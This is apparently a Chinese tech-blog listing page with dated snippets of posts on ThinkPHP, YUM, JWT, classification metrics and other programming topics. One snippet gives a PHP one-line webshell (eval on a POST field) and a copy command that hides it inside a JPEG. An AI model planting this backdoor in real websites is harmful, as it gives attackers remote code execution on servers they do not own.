学习YUM，一定要理解YUM工作原理，YUM正常运行，需要依赖两个部分，一是YUM源端，二是YUM客户端，也即用户使用端。YUM客户端安装的所有RPM包都是来自YUM服务端，YUM源端通过HTTP或者FTP服务器发布。而YUM客户端能够从YUM源端下载依赖的RPM包是由于在YUM源端生成了RPM包的 ...
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2020-10-02 22:57:19
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为什么难以整合 1.这两者有不同的标签 2.你不确定哪些tp的标签，哪些是fa的标签，哪些是facms的标签 3.css和JS的引入 4.layout引入的时候，会有双重layout。 5.双重layout的时候，令牌也会失效。 具体怎么办呢 一。先解决问题4 ...
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2020-09-28 13:14:20
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1、常见的PHP框架 答：thinkPHP、yii、ZendFramework、CakePhp、sy 2、如何理解TP中的单一入口文件？ 答：ThinkPHP采用单一入口模式进行项目部署和访问，无论完成什么功能，一个项目都有一个统一（但不一定是唯一）的入口。应该说，所有项目都是从入口文件开始的，并且 ...
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2020-09-26 22:07:22
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新建data为其设置几个求和字段 1、在购物车data控件加入自定义price字段，设置为计算列，在计算规则中设置price计算规则： $row.val("tp_number") * $row.val("tp_price")2、添加统计data控件，统计data的autoLoad一定要设置为“否”， ...
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2020-09-25 15:22:25
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jwt、tp中间件听起来好高大上的样子。 花了两天时间阅读文档和看视频，终于懂了点皮毛，在这里记录一下。 以下两个问题需要搞懂 1 jwt 是什么 ？ JWT 全称 Json Web token，是为了在网络应用环境间传递声明而执行的一种基于json的开放标准（RFC 7519），该token被设计 ...
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2020-09-24 09:57:14
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点击这里查看sklearn官方文档 sklearn.metrics模块实现了几个损失、得分和效用函数来衡量分类性能 1、四个基本概念 TP、True Positive 真阳性：预测为正，实际为正 FP、False Positive 假阳性：预测为正，实际为负 FN、False Negative 假阴 ...
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2020-09-12 18:58:01
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在powershell中我们可以使用Send-MailMessage发送邮件,一般都是有这个命令的 笔者的总结是鉴于公司的环境的,大家在借鉴时,需要根据自己的实际情况进行修改 1、你笔者测试的格式如下(对于一封邮件来说,至少是需要有Subject的,也即是主题) 、另smtp服务器是必须要指定的: ...
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2020-09-06 19:34:12
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指令和流水线 基本概念 指令流水的定义 流水线的表示方法 指令流程图 时空图 性能指标 吞吐率TP 吞吐率是指在单位时间内流水线所完成的任务数量，或是输出结果的数量。 加速比S 完成同样的一批任务，不使用流水线所用的时间与使用流水线所用的时间之比。 效率E 流水线的设备利用率称为流水线的效率。 影响 ...
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2020-09-04 21:02:20
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默认情况下Ttp6不会显示错误信息，在开发环境下想要查看错误信息需要将Config目录下的app.php文件的show_error_msg改成true 但是这样显示的信息也不够完整， 要看到更多信息需要我们开启DEBUG，tp6模仿了Laravel，我们使用composer下载完tp框架后可以看到框 ...
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2020-08-23 17:08:02
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今天写了一个PHP生成图片，想用浏览器查看，但是每次打开都是一串乱码，看样子是图片源二进制数据，然后查看了下响应头是text/html，那我明明设置了image/jpeg header("Content-type", "image/jpeg"); 这说明TP默认设置了text/html，查了官方文档 ...
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2020-08-22 18:26:55
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问题概述 使用TP框架写接口，接口错误会抛出相应的http状态码和其他信息，本地测试正常，部署到服务器上的就不行了 解决流程 自己在配置文件中改写了excepiton_handle的对象，能根据接口属性返回不同的http状态码，本地开发使用phpstudy，服务器是Apache,线上服务器是ngin ...
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2020-08-20 20:50:10
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损失函数 评价指标 Precision TP/(TP+FP) 同一Ground Truth只计算一次 Recall TP/(TP+FN) IoU(Intersection of Union) 任务：语义分割 TP/(TP+FP+FN) AP(Average Precision) 任务：目标检测，实例 ...
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2020-08-19 22:05:22
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新建一个文件夹 在其中放入一张图片文件tp.jpg，和yjh.php一句话木马 yjh.php中的一句话木马内容为<?php @eval($_POST[yjh]);?>和一个写入cmd的bat文件点击bat文件进入DOS命令，写入"copy tp.jpg/b+yjh.php tpyjh.jpg" 回 ...
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2020-08-19 15:15:50
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本文通过迁移学习将训练好的VGG16模型应用到图像的多标签分类问题中。该项目数据来自于Kaggle，每张图片可同时属于多个标签。模型的准确度使用F score进行量化，如下表所示： 标签预测为Positive(1)预测为Negative(0) 真值为Positive(1) TP FN 真值为Nega ...
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2020-08-12 21:33:24
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用ethtool确定多网卡Linux服务器网口位置ethtool DEVNAME 查看相应设备名称对应的设备信息 使用方法如下：ethtool eth3 显示了eth3 的接口类型，连接模式，速率等等信息，方便你找到相应的网卡。（如果是网线Supported ports 就是TP，如果是光纤则显示F ...
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2020-08-12 12:08:59
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1.settings同级目录下创建 celery 文件 from __future__ import absolute_import, unicode_literals import os from celery import Celery # 设置环境变量 os.environ.setdefaul ...
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2020-08-02 17:46:38
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MAP的计算方法 在计算MAP之前，要对TP/TN/FP/FN，precision/recall的计算有一定的了解。 一句话概括AP：recall在【0-1】范围内的平均precision值 一句话概括MAP：所有类别的平均AP 得出PR曲线 一般来说，p-r曲线是p越大，r越小；p越小，r越大，跟 ...
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2020-07-25 20:14:18
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1 #include<stdio.h> 2 3 char s[100005]; 4 char s1[100005]; 5 char s3[100005]; 6 int st[500005], tp; 7 8 int main() 9 { 10 int t; 11 scanf("%d",&t); 12 ...
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2020-07-24 23:28:39
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一、数据集 竞赛数据集：pandas 大数据：spark 二、评估：多分类问题的机器学习竞赛常常将F1-score作为最终的测评方法。 其中：?TP（True Positive）:正样本预测为正样本的个数?FP（True Positive）:将负样本预测为正样本的个数?FN（True Positiv ...
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2020-07-22 00:38:55
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// Object拆箱,取List类型 Type tp = DataSource.GetType(); // 判断类型是否是List<>泛类型 if (tp.IsGenericType && typeof(System.Collections.Generic.List<>).IsAssignable ...
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2020-07-21 15:34:03
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